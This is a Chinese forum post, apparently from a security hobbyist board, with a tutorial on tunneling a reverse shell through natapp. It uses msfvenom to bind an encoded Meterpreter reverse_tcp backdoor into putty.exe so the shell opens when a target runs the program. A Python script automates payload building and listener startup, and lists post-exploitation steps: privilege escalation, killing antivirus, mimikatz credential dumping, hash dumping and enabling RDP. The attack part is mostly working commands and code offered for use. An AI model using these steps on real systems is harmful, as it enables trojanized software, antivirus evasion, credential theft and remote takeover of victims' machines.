搜索
查看: 7511|回复: 0

基于MetaSploit内网穿透渗透测试

[复制链接]

714

主题

354

回帖

2669

积分

管理员

本论坛第一帅

积分
2669

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2018-5-11 10:34:19 | 显示全部楼层 |阅读模式 来自 甘肃陇南
本文分成三个模块
利用natapp进行内网穿透;

利用msfvenom生成后门渗透;

半自动化脚本进行优化。
利用natapp进行内网穿透

首先需要下载一个工具用于内网穿透(https://natapp.cn/),内网穿透主要是利用远程服务器将tcp连接转发到自己的电脑上。这样子就可以实现不同网段内计算机进行tcp连接。

我使用natapp工具进行内网穿透,注册并且免费获得自己的隧道。

本地地址填写127.0.0.1表示本机。

本地端口可以填写空闲端口。

authtoken用于开启natapp服务的code。

下载对应版本的natapp工具后,在命令行输入./natapp authtoken=xxxxxx。

打开后就可以看到自己的转发地址和端口,例如为server.natappfree.cc:38100。

这时候就完成了端口转发,保持服务开启即可。

利用msfvenom生成后门渗透

需要将自己的payload与任意exe文件进行捆绑,当目标点击使用我们捆绑后的exe后门就会自动反弹shell。

采用windows/meterpreter/reverse_tcp ,这是一个常用的windows tcp反弹payload。

比较常用的exe软件例如浏览器,ssh等其他用户长期开启软件,示例中用putty.exe为示范。

在终端输入如下命令:
  1. msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=8998 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe
复制代码
-a 表示目标机器架构;

-platform 表示系统平台;

-x 表示捆绑软件;

-p表示paylaod。
lhost和lport 输入之前内网穿透的ip和port。
-i 表示编码次数,编码次数越多被检测的风险越大;

-o 表示输出文件的位置和名字。

其他参数可以使用msfvenom –h 查看相应参数。

当目标打开puttyX.exe后我们在msfconsole上会监听到,就完成了前期的渗透。

半自动化脚本进行优化

由于msfvenom在每次生成文件都需要指定一系列参数,以及natapp还需要打开,最终还要打开msf进行反弹shell的监听,我尝试将三者结合在一起。就编写了一个简单的半自动化脚本,只需要输入要捆绑软件的位置,natapp转发的端口,编码次数,就可以直接生成payload文件,并且自动打开端口转发和打开msfconsole控制台。只能说是简单地集成下。

以下是文件的目录:

natapp.sh和msfconsole.sh写了一句话命令用于打开natapp和msfconsole。

startAttack.py文件主要代码如下:
  1. import os
  2.     import webbrowser
  3.    
  4.     while True:
  5.         #banner
  6.         print('''
  7.         This Script is for attacking prepare
  8.         --------------------------------------------------------------------------
  9.         ___________              ___ ___                __                        
  10.         \_   _____/__________   /   |   \_____    ____ |  | __ ___________  ______
  11.          |    __)/  _ \_  __ \ /    ~    \__  \ _/ ___\|  |/ // __ \_  __ \/  ___/
  12.          |     \(  <_> )  | \/ \    Y    // __ \\  \___|    <\  ___/|  | \/\___ \
  13.          \___  / \____/|__|     \___|_  /(____  /\___  >__|_ \\___  >__|  /____  >
  14.              \/                       \/      \/     \/     \/    \/           \/
  15.         --------------------------------------------------------------------------
  16.         ''')
  17.    
  18.         #Open new terminal :natapp
  19.         print"[+]Open NAT service"
  20.         os.system('open -a Terminal.app natapp.sh')
  21.    
  22.    
  23.         #Generate Payload
  24.         source_path=raw_input('Program path:').strip()
  25.         host='server.natappfree.cc'#raw_input('IP:').strip()
  26.         port=raw_input('PORT:').strip()
  27.         code_time=raw_input('Code Times(3):').strip()
  28.         if len(source_path)!=0 and len(port)!=0 and len(port)!=0:
  29.             if len(code_time)==0:
  30.                 code_time='3'
  31.    
  32.         print(
  33.             '''
  34.         ***************************************
  35.             Source_path:%s\n
  36.             IP:%s\n
  37.             PORT:%s\n
  38.             Code Times:%s\n
  39.             '''
  40.         )%(source_path,host,port,code_time)
  41.    
  42.         #confirm info
  43.         flag=raw_input('(Y/N) ').strip()
  44.         if flag=='Y' or flag=='y':
  45.             print'''
  46.             [+]Start Prepare attack. Open all tools. 3.2.1....
  47.             '''
  48.             cmd_line='msfvenom -a x86 --platform windows -x %s -k -p windows/meterpreter/reverse_tcp lhost=%s lport=%s -e x86/shikata_ga_nai -i %s -b "\\x00" -f exe -o /Users/steven/Desktop/X.exe'%(source_path,host,port,code_time)
  49.             # output = os.popen(cmd_line, 'r')
  50.             # print output.read()
  51.             os.system(cmd_line)
  52.    
  53.             #Open new terminal :Msfconsole
  54.             os.system('open -a Terminal.app msfconsole.sh')
  55.    
  56.             print'''
  57.         ***************************************
  58.             Open msfconsole....
  59.             Open browser.Url:http://www.objectif-securite.ch/en/ophcrack.php
  60.             
  61.             1.getuid\getsystem
  62.             2.background
  63.             3.use exploit/windows/local/ask
  64.               set session 1
  65.               exploit
  66.             (i.run killav)
  67.             4.load mimikatz(msv / kerberos / wdigest / livessp)
  68.             5.run post/windows/gather/smart_hashdump
  69.             6.run post/windows/manage/enable_rdp
  70.             
  71.             '''
  72.             # webbrowser.open("http://www.objectif-securite.ch/en/ophcrack.php")
  73.             # webbrowser.open("https://www.jianshu.com/p/6535203977c4")
  74.             # webbrowser.open("https://natapp.cn")

  75.             break
  76.         else:
  77.             continue
复制代码
这次渗透只是采用了非常传统的payload进行测试,集成脚本也没有优化都是随手撸出来一个。在脚本上肯定还有优化的地方和潜力,payload也可以多添加进行选择。以上都在日常无聊把玩中顺手弄的,如有不足还要多多指教。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

×
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表